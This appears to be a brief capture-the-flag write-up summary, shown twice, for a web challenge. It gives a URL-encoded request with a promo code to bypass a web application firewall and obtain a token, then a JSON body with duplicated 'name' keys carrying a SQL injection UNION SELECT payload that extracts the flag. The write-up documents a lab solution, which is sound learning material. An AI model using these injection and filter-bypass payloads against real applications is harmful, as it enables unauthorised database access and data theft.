tl;dr
- Make a GET request to
/gettoken%3fcreditcard=mmm&promocode=FREEWAFto get the token. - Using the token make another request with
{"name":"' union select flag, 1, 1, 1 from flag -- -", "name":"x"}to get the flag.
tl;dr
/gettoken%3fcreditcard=mmm&promocode=FREEWAF to get the token.{"name":"' union select flag, 1, 1, 1 from flag -- -", "name":"x"} to get the flag.